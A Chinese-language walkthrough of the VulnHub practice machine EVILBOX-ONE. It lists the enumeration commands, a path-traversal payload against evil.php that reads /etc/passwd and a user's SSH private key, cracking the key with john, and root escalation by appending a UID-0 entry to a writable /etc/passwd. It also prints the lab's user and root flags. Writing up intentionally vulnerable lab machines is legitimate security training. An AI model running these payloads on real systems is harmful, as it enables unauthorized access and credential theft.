『vulnhub系列』EVILBOX-ONE
『vulnhub系列』EVILBOX-ONE
下载地址:
https://www.vulnhub.com/entry/evilbox-one,736/
信息搜集:
使用nmap探测内网存活主机,发现开启了22 和 80端口
nmap 192.168.0.*
访问80端口web服务,发现apache默认页面
使用dirsearch进行目录爆破
dirsearch -u "http://192.168.0.131"
访问/robots.txt
发现一句话,H4x0r
可能是用户名或密码
Hello H4x0r
访问/secret/
发现是空白,我们来扫描这个目录,发现没有结果
我们可以尝试换个工具和字典
gobuster dir -u "http://192.168.0.131/secret/" -w /usr/share/wordlists/dirb/big.txt -x .php
- -u 目标url
- -w wordlist字典
- -x 文件后缀
不知道为什么使用dirb用同样的字典和指定php爆破不出来
dirsearch -e php -w /usr/share/wordlists/dirb/big.txt -u "http://192.168.0.131/secret/"
最后发现evli.php,但是发现页面还是空的
接下来使用工具ffuf进行爆破参数,最后得到参数为command
ffuf -u 'http://192.168.0.131/secret/evil.php?FUZZ=../../../../etc/passwd' -w "/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt" -fs 0
- -fs 0 过滤大小为0
- FUZZ为字典爆破字段
- ../../../../etc/passwd因为不确定是命令执行还是任意文件读取,可以用随意命令爆破,和足够多的../../../。。。。/etc/passwd来确定
漏洞利用:
因为刚刚那个,可能是密码,所以我们正好读取/etc/passwd
查看页面源代码,可以换行,发现用户名为mowree
使用mowree
来登录H4x0r
为密码,发现登录失败,看来没这么简单,继续使用任意文件读取
众所周知,我们除了使用密码登录ssh以外,还可以使用证书,而证书的私钥一般储存的位置
为/home/xxx/.ssh/id_rsa
中xxx
为用户名,我们使用任意文件读取发现确实存在
command=../../../../home/mowree/.ssh/id_rsa
拷贝下来,使用ssh2john工具将id_rsa
转化为john可以是识别的hash
ssh2john id_rsa > hash #将hash值输出到hash文件中
再使用john来破解密码,得到密码unicorn
john hash --wordlist=rockyou.txt #使用wordlist(字典)破解,这里的字典是
#/usr/share/wordlists/里的rockyou需要解压一下
此时使用私钥登录,结果发现有警告,并且需要输入mowree
的密码
ssh -i id_rsa mowree@192.168.0.131
原因是,id_rsa的默认权限为700,所以会出现告警。因此我们将id_rsa的权限修改为700
chmod 700 id_rsa
此时登录,输入unicorn
即可登陆成功
提升权限:(passwd提权)
查看所有既有SUID权限的文件,没有发现异常
find / -perm -u=s -type f 2>/dev/null
使用命令查看用户可以以root权限运行的命令,发现没有这个命令
sudo -l
最后发现此用户对/etc/passwd
具有写权限,那么这里就可以使用passwd提权
拿root在passwd中的条目依次来看
root:x:0:0:root:/root:/bin/bash
- root:用户名
- x:有密码,本来是放加密后的密码的,但后来都放入shadow中了,但也依旧支持此处是加密后的密码
- 0:用户UID为0
- 0:用户组GID为0
- root:用户备注信息
- /root:用户home目录
- /bin/bash:用户默认的bash
因此,现在我们在对passwd有写权限后,我们完全构造一个类似的root用户,我们个给passwd追加一个用户,那么现在首要就是生成一个加密后的密码(加盐值),这里使用pyhton来生成
python3 -c 'import crypt;print(crypt.crypt("123456","addsalt"))'
#生成加盐值的密码
adrla7IBSfTZQ
现在我们来构造一个用户
test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash
然后追加到passwd中:
echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd
查看一下发现添加成功
我们此时切换为test用户看一下,获得root权限
成果:
登录mowree
用户后在目录下发现user.txt
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
获得root权限后,在其目录下发现root.txt
36QtXfdJWvdC0VavlPIApUbDlqTsBM
『vulnhub系列』EVILBOX-ONE的更多相关文章
- 『GreenPlum系列』GreenPlum 4节点集群安装(图文教程)
目标架构如上图 一.硬件评估 cpu主频,核数推荐CPU核数与磁盘数的比例在12:12以上Instance上执行时只能利用一个CPU核资源进行计算,推荐高主频 内存容量 网络带宽重分布操作 R ...
- Istio 运维实战系列(2):让人头大的『无头服务』-上
本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 什么是『无头服 ...
- Istio 运维实战系列(3):让人头大的『无头服务』-下
本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 失败的 Eur ...
- 『高性能模型』HetConv: HeterogeneousKernel-BasedConvolutionsforDeepCNNs
论文地址:HetConv 一.现有网络加速技术 1.卷积加速技术 作者对已有的新型卷积划分如下:标准卷积.Depthwise 卷积.Pointwise 卷积.群卷积(相关介绍见『高性能模型』深度可分离 ...
- 『TensorFlow Internals』笔记_源码结构
零.资料集合 知乎专栏:Bob学步 知乎提问:如何高效的学习 TensorFlow 代码?. 大佬刘光聪(Github,简书) 开源书:TensorFlow Internals,强烈推荐(本博客参考书 ...
- 『深度应用』NLP机器翻译深度学习实战课程·壹(RNN base)
深度学习用的有一年多了,最近开始NLP自然处理方面的研发.刚好趁着这个机会写一系列NLP机器翻译深度学习实战课程. 本系列课程将从原理讲解与数据处理深入到如何动手实践与应用部署,将包括以下内容:(更新 ...
- 关于『进击的Markdown』:第一弹
关于『进击的Markdown』:第一弹 建议缩放90%食用 比起隐蔽物下的狙击手,Markdown更像冲锋陷阵的阵头兵 简单.粗暴.直接.而且好上手 各位晚上好! 早饭吃了吗您 我 今 天 没 吃 M ...
- 关于『进击的Markdown』:第五弹
关于『进击的Markdown』:第五弹 建议缩放90%食用 路漫漫其修远兮,吾将上下而求索. 我们要接受Mermaid的考验了呢 Markdown 语法真香(一如既往地安利) ( 进击吧!Mark ...
- 关于『进击的Markdown』:第四弹
关于『进击的Markdown』:第四弹 建议缩放90%食用 美人鱼(Mermaid)悄悄的来,又悄悄的走,挥一挥匕首,不留一个活口 又是漫漫画图路... 女士们先生们,大家好! 我们要接受Markd ...
- 关于『进击的Markdown』:第三弹
关于『进击的Markdown』:第三弹 建议缩放90%食用 我与神明画押,赌这弹markdown又双叒叕拖稿了 %%%Markdown!我的CSDN编辑器崩了呜呜呜 各路英雄豪杰,大家好! 我们要开 ...
随机推荐
- Java设计模式-策略模式-基于Spring实现
1.策略模式 1.1.概述 策略模式是一种行为设计模式,它允许在运行时选择算法的行为.它将算法封装在独立的策略类中,使得它们可以相互替换,而不影响客户端代码.这种模式通过将算法的选择从客户端代码中分离 ...
- dotnet build error CS5001: Program does not contain a static 'Main' method suitable for an entry point
前言 Docker环境编译.Net6项目,出现诡异的CS5001 Program does not contain a static 'Main' method suitable for an ent ...
- 如何阅读 Paper
前言 论文(Paper)通常是新技术.算法.编程方法或软件工具的首次公布.通过阅读论文,我们可以了解最新的技术进展,保持自己的技能和知识是最新的. 同时,论文提供了对特定主题深入理解的机会.它们通常包 ...
- cesium教程3-加载3dtile模型,并调整位置
直接上示例代码: <!DOCTYPE html> <html lang="en"> <head> <meta charset=" ...
- 抽丝剥茧:详述一次DevServer Proxy配置无效问题的细致排查过程
事情的起因是这样的,在一个已上线的项目中,其中一个包含登录和获取菜单的接口因响应时间较长,后端让我尝试未经服务转发的另一域名下的新接口,旧接口允许跨域请求,但新接口不允许本地访问(只允许发布测试/生产 ...
- USRP B210 软件定义的无线网络(SDR)支撑设备
目录 文章目录 目录 蜂窝网络 蜂窝网络的组成 USRP B210 USRP B210 的功能清单与相关参数 USRP B210 的系统结构与运行原理 相关知识储备 SDR RFIC RF 发展历程 ...
- PyQt5 GUI编程(组件使用)
一.简介 PyQt5 是一个用于创建图形用户界面(GUI)应用程序的 Python 绑定,它基于 Qt 库.PyQt5 提供了大量的组件(也称为控件或部件),用于构建复杂的用户界面.以下是一些常用的 ...
- 14个Flink SQL性能优化实践分享
本文分享自华为云社区<Flink SQL性能优化实践> ,作者:超梦. 在大数据处理领域,Apache Flink以其流处理和批处理一体化的能力,成为许多企业的首选.然而,随着数据量的增长 ...
- 面试官:说一说如何优雅的关闭线程池,我:shutdownNow,面试官:粗鲁!
写在开头 面试官:"小伙子,线程池使用过吗,来聊一聊它吧!" 我:"好的,然后巴拉巴拉一顿输出之前看过的build哥线程池十八问..." 面试官满意的点了点头, ...
- C++笔记(7)成员初始化列表
成员初始化列表由逗号分隔的初始化列表组成(前面带冒号),它位于参数列调的右括号之后,函数体左括号之前.如果数据成员的名称为mdata,并需要将它初始化为val,则初始化器为mdata(val). Cl ...